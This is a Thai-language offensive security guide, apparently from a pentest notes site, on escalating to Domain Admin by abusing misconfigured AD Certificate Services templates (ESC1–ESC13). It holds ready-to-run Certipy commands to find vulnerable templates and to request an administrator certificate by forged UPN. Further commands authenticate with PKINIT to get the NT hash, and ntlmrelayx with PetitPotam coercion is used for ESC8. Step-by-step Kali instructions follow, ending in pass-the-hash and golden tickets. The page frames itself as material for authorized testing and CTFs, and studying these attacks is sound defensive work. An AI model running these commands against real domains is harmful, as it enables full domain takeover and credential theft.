ADCS Abuse (ESC1–ESC13)
Active Directory Certificate Services (ADCS) ที่ตั้งค่าผิดเปิดช่องให้ยกระดับสิทธิ์ถึง Domain Admin ผ่าน certificate template ที่อ่อนแอ (ESC1–ESC13) บทนี้สรุปแต่ละ ESC, การหาด้วย Certipy, และ attack chain หลัก (เนื้อหาเพื่อการทดสอบที่ได้รับอนุญาต/CTF)
1. ADCS และทำไมเป็นเป้า
ADCS คือ PKI ของ Windows domain ออก certificate ให้ user/computer ปัญหาคือ certificate template ที่ตั้งค่าผิดทำให้ user ทั่วไปขอ cert ที่ปลอมเป็นคนอื่น (เช่น Domain Admin) ได้ เมื่อได้ cert ของ DA แล้วใช้ authenticate (PKINIT) → ได้ TGT/hash ของ DA cert ไม่หมดอายุง่ายและ reset password ไม่ช่วย จึงเป็นทั้ง privesc และ persistence ที่ทรงพลัง
2. ESC1–ESC13 สรุป
| ESC | ช่องโหว่ | แนวทาง abuse |
|---|---|---|
| ESC1 | template ยอมให้ระบุ SAN + client auth + user enroll ได้ | ขอ cert ระบุ SAN = DA → auth เป็น DA |
| ESC2 | template มี Any Purpose / SubCA EKU | ใช้ cert ทำอะไรก็ได้ |
| ESC3 | Enrollment Agent template | ขอ cert แทน user อื่น |
| ESC4 | เรามีสิทธิ์เขียน template (ACL) | แก้ template ให้กลายเป็น ESC1 |
| ESC5 | ACL อ่อนบน CA object/PKI | ควบคุม ADCS ผ่าน object |
| ESC6 | CA ตั้ง EDITF_ATTRIBUTESUBJECTALTNAME2 | ระบุ SAN ได้แม้ template ปกติ |
| ESC7 | เรามีสิทธิ์ ManageCA/ManageCertificates | อนุมัติ cert เอง / เปิด ESC6 |
| ESC8 | Web Enrollment (HTTP) + NTLM relay | relay machine$ → ขอ cert → DC takeover |
| ESC9/10 | no security extension / weak mapping | cert mapping อ่อน → ปลอมตัว |
| ESC11 | IF_ENFORCEENCRYPTICERTREQUEST ปิด (RPC relay) | relay ผ่าน RPC |
| ESC13 | OID group link → สิทธิ์กลุ่มผูกกับ cert | ได้ cert = ได้สิทธิ์กลุ่ม |
3. หาด้วย Certipy
# หา template ที่เปราะทั้งหมด (ทำเครื่องหมาย ESC ให้)
certipy find -u user@domain -p 'pass' -dc-ip <DC> -vulnerable -stdout
# หรือ output เป็นไฟล์ (BloodHound import ได้)
certipy find -u user@domain -p 'pass' -dc-ip <DC> -vulnerable -old-bloodhound
# มองหา [!] Vulnerabilities: ESCx ในผล4. ESC1 attack chain (พบบ่อยสุด)
# 1. ขอ cert จาก vulnerable template ระบุ SAN = Domain Admin
certipy req -u user@domain -p 'pass' -dc-ip <DC> \
-ca <CA-NAME> -template <VULN-TEMPLATE> -upn administrator@domain
# ได้ administrator.pfx
# 2. ใช้ cert auth (PKINIT) → ได้ TGT + NT hash ของ administrator
certipy auth -pfx administrator.pfx -dc-ip <DC>
# ได้ hash → pass-the-hash / TGT → ยึดโดเมน
# ESC8 (web enrollment + relay) ย่อ:
# ntlmrelayx -t http://<CA>/certsrv/certfnsh.asp --adcs --template DomainController
# แล้ว coerce DC (PetitPotam) ให้ auth มา → ได้ cert ของ DC$5. Workflow
6. Quick Reference
- หา:
certipy find -vulnerable -stdout - ESC1 (พบบ่อย): req ระบุ SAN/-upn = administrator → auth ได้ hash
- ESC8: NTLM relay machine auth → web enrollment → ยึด DC
- ใช้ cert:
certipy auth -pfx x.pfx→ TGT + NT hash - cert reset password ไม่ช่วย → persistence ที่ดี
- ต่อ: pass-the-hash, golden ticket หลังได้ hash DA
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ BloodHound/nmap ชี้ว่าโดเมนมี ADCS (Certificate Authority — พอร์ต 80/443 บนเครื่อง CA หรือ service ชื่อ CertSvc) มีแค่ Kali ทำตามนี้หาช่องโหว่ certificate template แล้วยกระดับสิทธิ์
- 1ติดตั้ง/ยืนยัน certipy:
pipx install certipy-ad - 2สแกนหา template ที่เปราะ:
certipy find -u user@domain -p 'pass' -dc-ip <DC_IP> -vulnerable -stdout - 3ดูผลลัพธ์ มองหาบรรทัด '[!] Vulnerabilities: ESCx'
- 4ถ้าเจอ ESC1: ขอ cert ปลอมเป็น Administrator
certipy req -u user@domain -p 'pass' -dc-ip <DC_IP> -ca <CA-NAME> -template <TEMPLATE> -upn administrator@domain - 5auth ด้วย cert ที่ได้:
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> - 6ได้ NT hash ของ administrator → pass-the-hash เข้า DC ทันที
- 7ถ้าเจอ ESC8 แทน: ตั้ง ntlmrelayx รอ แล้ว coerce DC มา auth ด้วย
PetitPotam.pyผ่าน web enrollment - 8ถ้าไม่เจอ ESC ไหนเลย (ตัน) → กลับไปหาสิทธิ์ ACL อื่น หรือดูให้แน่ใจว่ามี ADCS จริงไหม
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา ADCS/template เปราะ | - | pipx install certipy-ad | - |
| ขอ/ใช้ certificate | - | certipy-ad (เดียวกัน) | - |
| coerce ให้ DC มา auth | - | git clone PetitPotam / printerbug.py | - |
| ทำ NTLM relay | impacket (ntlmrelayx.py) | - | - |
| pass-the-hash หลังได้ hash | impacket (psexec.py) | gem install evil-winrm | - |
| อ้างอิง ESC1-13 เจาะลึก | - | - | thehacker.recipes, wadcoms.github.io |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้